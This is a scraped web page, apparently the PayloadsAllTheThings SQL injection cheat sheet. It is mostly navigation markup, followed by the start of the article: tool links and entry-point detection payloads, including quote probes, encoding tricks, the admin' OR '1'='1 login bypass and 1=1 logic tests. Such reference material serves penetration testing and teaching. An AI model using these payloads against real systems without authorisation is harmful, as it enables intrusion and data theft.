Polyglot injection (multicontext)
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#routed-injection" class="md-nav__link">
<span class="md-ellipsis">
Routed injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#insert-statement-on-duplicate-key-update" class="md-nav__link">
<span class="md-ellipsis">
Insert Statement - ON DUPLICATE KEY UPDATE
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#generic-waf-bypass" class="md-nav__link">
<span class="md-ellipsis">
Generic WAF Bypass
</span>
</a>
<nav class="md-nav" aria-label="Generic WAF Bypass">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#white-spaces-alternatives" class="md-nav__link">
<span class="md-ellipsis">
White spaces alternatives
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#no-comma-allowed" class="md-nav__link">
<span class="md-ellipsis">
No Comma Allowed
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#no-equal-allowed" class="md-nav__link">
<span class="md-ellipsis">
No Equal Allowed
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#case-modification" class="md-nav__link">
<span class="md-ellipsis">
Case modification
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#labs" class="md-nav__link">
<span class="md-ellipsis">
Labs
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#references" class="md-nav__link">
<span class="md-ellipsis">
References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="HQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Hibernate Query Language Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" >
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Template%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_49" >
<label class="md-nav__link" for="__nav_49" id="__nav_49_label" tabindex="0">
<span class="md-ellipsis">
Tabnabbing
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_49_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_49">
<span class="md-nav__icon md-icon"></span>
Tabnabbing
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Tabnabbing/" class="md-nav__link">
<span class="md-ellipsis">
Tabnabbing
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_50" >
<label class="md-nav__link" for="__nav_50" id="__nav_50_label" tabindex="0">
<span class="md-ellipsis">
Type Juggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_50_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_50">
<span class="md-nav__icon md-icon"></span>
Type Juggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Type%20Juggling/" class="md-nav__link">
<span class="md-ellipsis">
Type Juggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51" >
<label class="md-nav__link" for="__nav_51" id="__nav_51_label" tabindex="0">
<span class="md-ellipsis">
Upload Insecure Files
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_51_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51">
<span class="md-nav__icon md-icon"></span>
Upload Insecure Files
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/" class="md-nav__link">
<span class="md-ellipsis">
Upload Insecure Files
</span>
</a>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_2" >
<label class="md-nav__link" for="__nav_51_2" id="__nav_51_2_label" tabindex="0">
<span class="md-ellipsis">
CVE Ffmpeg HLS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_2_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_2">
<span class="md-nav__icon md-icon"></span>
CVE Ffmpeg HLS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/CVE%20Ffmpeg%20HLS/" class="md-nav__link">
<span class="md-ellipsis">
FFmpeg HLS vulnerability
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_3" >
<label class="md-nav__link" for="__nav_51_3" id="__nav_51_3_label" tabindex="0">
<span class="md-ellipsis">
Configuration Apache .htaccess
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_3_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_3">
<span class="md-nav__icon md-icon"></span>
Configuration Apache .htaccess
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Apache%20.htaccess/" class="md-nav__link">
<span class="md-ellipsis">
.htaccess upload
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_4" >
<label class="md-nav__link" for="__nav_51_4" id="__nav_51_4_label" tabindex="0">
<span class="md-ellipsis">
Configuration Busybox httpd.conf
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_4_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_4">
<span class="md-nav__icon md-icon"></span>
Configuration Busybox httpd.conf
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20Busybox%20httpd.conf/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_5" >
<label class="md-nav__link" for="__nav_51_5" id="__nav_51_5_label" tabindex="0">
<span class="md-ellipsis">
Configuration uwsgi.ini
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_5_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_5">
<span class="md-nav__icon md-icon"></span>
Configuration uwsgi.ini
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Configuration%20uwsgi.ini/" class="md-nav__link">
<span class="md-ellipsis">
uWSGI configuration file
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_6" >
<label class="md-nav__link" for="__nav_51_6" id="__nav_51_6_label" tabindex="0">
<span class="md-ellipsis">
Extension Flash
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_6_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_6">
<span class="md-nav__icon md-icon"></span>
Extension Flash
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20Flash/" class="md-nav__link">
<span class="md-ellipsis">
Index
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_7" >
<label class="md-nav__link" for="__nav_51_7" id="__nav_51_7_label" tabindex="0">
<span class="md-ellipsis">
Extension PDF JS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_7_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_7">
<span class="md-nav__icon md-icon"></span>
Extension PDF JS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Extension%20PDF%20JS/" class="md-nav__link">
<span class="md-ellipsis">
Generate PDF File Containing JavaScript Code
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_8" >
<label class="md-nav__link" for="__nav_51_8" id="__nav_51_8_label" tabindex="0">
<span class="md-ellipsis">
Picture ImageMagick
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_8_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_8">
<span class="md-nav__icon md-icon"></span>
Picture ImageMagick
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Picture%20ImageMagick/" class="md-nav__link">
<span class="md-ellipsis">
ImageMagick Exploits
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_51_9" >
<label class="md-nav__link" for="__nav_51_9" id="__nav_51_9_label" tabindex="0">
<span class="md-ellipsis">
Zip Slip
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="2" aria-labelledby="__nav_51_9_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_51_9">
<span class="md-nav__icon md-icon"></span>
Zip Slip
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Upload%20Insecure%20Files/Zip%20Slip/" class="md-nav__link">
<span class="md-ellipsis">
Zip Slip
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_52" >
<label class="md-nav__link" for="__nav_52" id="__nav_52_label" tabindex="0">
<span class="md-ellipsis">
Web Cache Deception
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_52_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_52">
<span class="md-nav__icon md-icon"></span>
Web Cache Deception
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Cache%20Deception/" class="md-nav__link">
<span class="md-ellipsis">
Web Cache Deception
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_53" >
<label class="md-nav__link" for="__nav_53" id="__nav_53_label" tabindex="0">
<span class="md-ellipsis">
Web Sockets
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_53_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_53">
<span class="md-nav__icon md-icon"></span>
Web Sockets
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Web%20Sockets/" class="md-nav__link">
<span class="md-ellipsis">
Web Sockets
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_54" >
<label class="md-nav__link" for="__nav_54" id="__nav_54_label" tabindex="0">
<span class="md-ellipsis">
XPATH Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_54_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_54">
<span class="md-nav__icon md-icon"></span>
XPATH Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XPATH%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XPATH Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_55" >
<label class="md-nav__link" for="__nav_55" id="__nav_55_label" tabindex="0">
<span class="md-ellipsis">
XSLT Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_55_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_55">
<span class="md-nav__icon md-icon"></span>
XSLT Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSLT%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XSLT Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_56" >
<label class="md-nav__link" for="__nav_56" id="__nav_56_label" tabindex="0">
<span class="md-ellipsis">
XSS Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_56_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_56">
<span class="md-nav__icon md-icon"></span>
XSS Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XSS%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cross Site Scripting
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20in%20Angular/" class="md-nav__link">
<span class="md-ellipsis">
XSS in Angular and AngularJS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../XSS%20Injection/XSS%20with%20Relative%20Path%20Overwrite/" class="md-nav__link">
<span class="md-ellipsis">
XSS with Relative Path Overwrite - IE 8/9 and lower
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_57" >
<label class="md-nav__link" for="__nav_57" id="__nav_57_label" tabindex="0">
<span class="md-ellipsis">
XXE Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_57_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_57">
<span class="md-nav__icon md-icon"></span>
XXE Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../XXE%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
XML External Entity
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_58" >
<label class="md-nav__link" for="__nav_58" id="__nav_58_label" tabindex="0">
<span class="md-ellipsis">
LEARNING AND SOCIALS
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_58_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_58">
<span class="md-nav__icon md-icon"></span>
LEARNING AND SOCIALS
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/BOOKS/" class="md-nav__link">
<span class="md-ellipsis">
Books
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/TWITTER/" class="md-nav__link">
<span class="md-ellipsis">
Twitter
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../_LEARNING_AND_SOCIALS/YOUTUBE/" class="md-nav__link">
<span class="md-ellipsis">
Youtube
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_59" >
<label class="md-nav__link" for="__nav_59" id="__nav_59_label" tabindex="0">
<span class="md-ellipsis">
template vuln
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_59_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_59">
<span class="md-nav__icon md-icon"></span>
template vuln
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../_template_vuln/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Title
</span>
</a>
</li>
</ul>
</nav>
</li>
</ul>
</nav>
</div>
</div>
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Summary
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Tools
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Entry point detection
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DBMS Identification
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SQL injection using SQLmap
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<li class="md-nav__item">
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Basic arguments for SQLmap
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<a href="#load-a-request-file-and-use-mobile-user-agent" class="md-nav__link">
<span class="md-ellipsis">
Load a request file and use mobile user-agent
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<a href="#custom-injection-in-useragentheaderreferercookie" class="md-nav__link">
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Custom injection in UserAgent/Header/Referer/Cookie
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<a href="#second-order-injection" class="md-nav__link">
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Second order injection
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Shell
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<a href="#crawl-a-website-with-sqlmap-and-auto-exploit" class="md-nav__link">
<span class="md-ellipsis">
Crawl a website with SQLmap and auto-exploit
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<a href="#using-tor-with-sqlmap" class="md-nav__link">
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Using TOR with SQLmap
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<a href="#using-a-proxy-with-sqlmap" class="md-nav__link">
<span class="md-ellipsis">
Using a proxy with SQLmap
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<li class="md-nav__item">
<a href="#using-chrome-cookie-and-a-proxy" class="md-nav__link">
<span class="md-ellipsis">
Using Chrome cookie and a Proxy
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#using-suffix-to-tamper-the-injection" class="md-nav__link">
<span class="md-ellipsis">
Using suffix to tamper the injection
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</li>
<li class="md-nav__item">
<a href="#general-tamper-option-and-tampers-list" class="md-nav__link">
<span class="md-ellipsis">
General tamper option and tamper's list
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<a href="#sqlmap-without-sql-injection" class="md-nav__link">
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SQLmap without SQL injection
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Authentication bypass
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<a href="#authentication-bypass-raw-md5-sha1" class="md-nav__link">
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Authentication Bypass (Raw MD5 SHA1)
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#polyglot-injection-multicontext" class="md-nav__link">
<span class="md-ellipsis">
Polyglot injection (multicontext)
</span>
</a>
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<a href="#routed-injection" class="md-nav__link">
<span class="md-ellipsis">
Routed injection
</span>
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<a href="#insert-statement-on-duplicate-key-update" class="md-nav__link">
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Insert Statement - ON DUPLICATE KEY UPDATE
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Generic WAF Bypass
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White spaces alternatives
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No Comma Allowed
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No Equal Allowed
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Case modification
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<div class="md-content" data-md-component="content">
<article class="md-content__inner md-typeset">
<h1 id="sql-injection">SQL Injection</h1>
<blockquote>
<p>A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application.</p>
</blockquote>
<p>Attempting to manipulate SQL queries may have goals including:
- Information Leakage
- Disclosure of stored data
- Manipulation of stored data
- Bypassing authorization controls</p>
<h2 id="summary">Summary</h2>
<ul>
<li><a href="#cheatsheets">CheatSheets</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MSSQL%20Injection.md">MSSQL Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md">MySQL Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/OracleSQL%20Injection.md">OracleSQL Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md">PostgreSQL Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md">SQLite Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/Cassandra%20Injection.md">Cassandra Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/HQL%20Injection.md">HQL Injection</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/DB2%20Injection.md">DB2 Injection</a></li>
<li><a href="#entry-point-detection">Entry point detection</a></li>
<li><a href="#dbms-identification">DBMS Identification</a></li>
<li><a href="#sql-injection-using-sqlmap">SQL injection using SQLmap</a></li>
<li><a href="#basic-arguments-for-sqlmap">Basic arguments for SQLmap</a></li>
<li><a href="#load-a-request-file-and-use-mobile-user-agent">Load a request file and use mobile user-agent</a></li>
<li><a href="#custom-injection-in-useragentheaderreferercookie">Custom injection in UserAgent/Header/Referer/Cookie</a></li>
<li><a href="#second-order-injection">Second order injection</a></li>
<li><a href="#shell">Shell</a></li>
<li><a href="#crawl-a-website-with-sqlmap-and-auto-exploit">Crawl a website with SQLmap and auto-exploit</a></li>
<li><a href="#using-tor-with-sqlmap">Using TOR with SQLmap</a></li>
<li><a href="#using-a-proxy-with-sqlmap">Using a proxy with SQLmap</a></li>
<li><a href="#using-chrome-cookie-and-a-proxy">Using Chrome cookie and a Proxy</a></li>
<li><a href="#using-suffix-to-tamper-the-injection">Using suffix to tamper the injection</a></li>
<li><a href="#general-tamper-option-and-tampers-list">General tamper option and tamper's list</a></li>
<li><a href="#sqlmap-without-sql-injection">SQLmap without SQL injection</a></li>
<li><a href="#authentication-bypass">Authentication bypass</a></li>
<li><a href="#authentication-bypass-raw-md5-sha1">Authentication Bypass (Raw MD5 SHA1)</a></li>
<li><a href="#polyglot-injection-multicontext">Polyglot injection</a></li>
<li><a href="#routed-injection">Routed injection</a></li>
<li><a href="#insert-statement---on-duplicate-key-update">Insert Statement - ON DUPLICATE KEY UPDATE</a></li>
<li><a href="#generic-waf-bypass">Generic WAF Bypass</a></li>
<li><a href="#white-spaces-alternatives">White spaces alternatives</a></li>
<li><a href="#no-comma-allowed">No Comma Allowed</a></li>
<li><a href="#no-equal-allowed">No Equal Allowed</a></li>
<li><a href="#case-modification">Case modification</a></li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/sqlmapproject/sqlmap">sqlmapproject/sqlmap</a> - Automatic SQL injection and database takeover tool</li>
<li><a href="https://github.com/r0oth3x49/ghauri">r0oth3x49/ghauri</a> - An advanced cross-platform tool that automates the process of detecting and exploiting SQL injection security flaws</li>
</ul>
<h2 id="entry-point-detection">Entry point detection</h2>
<p>Detection of an SQL injection entry point</p>
<ul>
<li><strong>Error Messages</strong>: Inputting special characters (e.g., a single quote ') into input fields might trigger SQL errors. If the application displays detailed error messages, it can indicate a potential SQL injection point.</li>
<li>Simple characters
<div class="highlight"><pre><span></span><code><a id="__codelineno-0-1" name="__codelineno-0-1" href="#__codelineno-0-1"></a><span class="err">&#39;</span>
<a id="__codelineno-0-2" name="__codelineno-0-2" href="#__codelineno-0-2"></a><span class="o">%</span><span class="mi">27</span>
<a id="__codelineno-0-3" name="__codelineno-0-3" href="#__codelineno-0-3"></a><span class="err">&quot;</span>
<a id="__codelineno-0-4" name="__codelineno-0-4" href="#__codelineno-0-4"></a><span class="o">%</span><span class="mi">22</span>
<a id="__codelineno-0-5" name="__codelineno-0-5" href="#__codelineno-0-5"></a><span class="o">#</span>
<a id="__codelineno-0-6" name="__codelineno-0-6" href="#__codelineno-0-6"></a><span class="o">%</span><span class="mi">23</span>
<a id="__codelineno-0-7" name="__codelineno-0-7" href="#__codelineno-0-7"></a><span class="p">;</span>
<a id="__codelineno-0-8" name="__codelineno-0-8" href="#__codelineno-0-8"></a><span class="o">%</span><span class="mi">3</span><span class="n">B</span>
<a id="__codelineno-0-9" name="__codelineno-0-9" href="#__codelineno-0-9"></a><span class="p">)</span>
<a id="__codelineno-0-10" name="__codelineno-0-10" href="#__codelineno-0-10"></a><span class="n">Wildcard</span><span class="w"> </span><span class="p">(</span><span class="o">*</span><span class="p">)</span>
<a id="__codelineno-0-11" name="__codelineno-0-11" href="#__codelineno-0-11"></a><span class="o">&amp;</span><span class="n">apos</span><span class="p">;</span><span class="w"> </span><span class="o">#</span><span class="w"> </span><span class="n">required</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">XML</span><span class="w"> </span><span class="n">content</span>
</code></pre></div></li>
<li>Multiple encoding
<div class="highlight"><pre><span></span><code><a id="__codelineno-1-1" name="__codelineno-1-1" href="#__codelineno-1-1"></a><span class="o">%%</span><span class="mi">2727</span>
<a id="__codelineno-1-2" name="__codelineno-1-2" href="#__codelineno-1-2"></a><span class="o">%</span><span class="mi">25</span><span class="o">%</span><span class="mi">27</span>
</code></pre></div></li>
<li>
<p>Unicode characters
<div class="highlight"><pre><span></span><code><a id="__codelineno-2-1" name="__codelineno-2-1" href="#__codelineno-2-1"></a>Unicode character U+02BA MODIFIER LETTER DOUBLE PRIME (encoded as %CA%BA) was transformed into U+0022 QUOTATION MARK (&quot;)
<a id="__codelineno-2-2" name="__codelineno-2-2" href="#__codelineno-2-2"></a>Unicode character U+02B9 MODIFIER LETTER PRIME (encoded as %CA%B9) was transformed into U+0027 APOSTROPHE (&#39;)
</code></pre></div></p>
</li>
<li>
<p><strong>Tautology-Based SQL Injection</strong>: By inputting tautological (always true) conditions, you can test for vulnerabilities. For instance, entering <code>admin' OR '1'='1</code> in a username field might log you in as the admin if the system is vulnerable.</p>
</li>
<li>Merging characters
<div class="highlight"><pre><span></span><code><a id="__codelineno-3-1" name="__codelineno-3-1" href="#__codelineno-3-1"></a><span class="o">`+</span><span class="n">HERP</span>
<a id="__codelineno-3-2" name="__codelineno-3-2" href="#__codelineno-3-2"></a><span class="s1">&#39;||&#39;</span><span class="n">DERP</span>
<a id="__codelineno-3-3" name="__codelineno-3-3" href="#__codelineno-3-3"></a><span class="s1">&#39;+&#39;</span><span class="n">herp</span>
<a id="__codelineno-3-4" name="__codelineno-3-4" href="#__codelineno-3-4"></a><span class="s1">&#39; &#39;</span><span class="n">DERP</span>
<a id="__codelineno-3-5" name="__codelineno-3-5" href="#__codelineno-3-5"></a><span class="s1">&#39;%20&#39;</span><span class="n">HERP</span>
<a id="__codelineno-3-6" name="__codelineno-3-6" href="#__codelineno-3-6"></a><span class="s1">&#39;%2B&#39;</span><span class="n">HERP</span>
</code></pre></div></li>
<li>
<p>Logic Testing
<div class="highlight"><pre><span></span><code><a id="__codelineno-4-1" name="__codelineno-4-1" href="#__codelineno-4-1"></a><span class="n">page</span><span class="p">.</span><span class="n">asp</span><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="c1">-- true</span>
<a id="__codelineno-4-2" name="__codelineno-4-2" href="#__codelineno-4-2"></a><span class="n">page</span><span class="p">.</span><span class="n">asp</span><span class="o">?</span><span class="n">id</span><span class="o">=</span><span class="mi">1</span><span class="err">&#39;</span><span class="w"> </span><span class="k">or</span><span class="w"> </span><span class="mi">1</span><span class="o">=</span><span class="mi">1</span><span class="w"> </span><span class="c1">-- true</span>
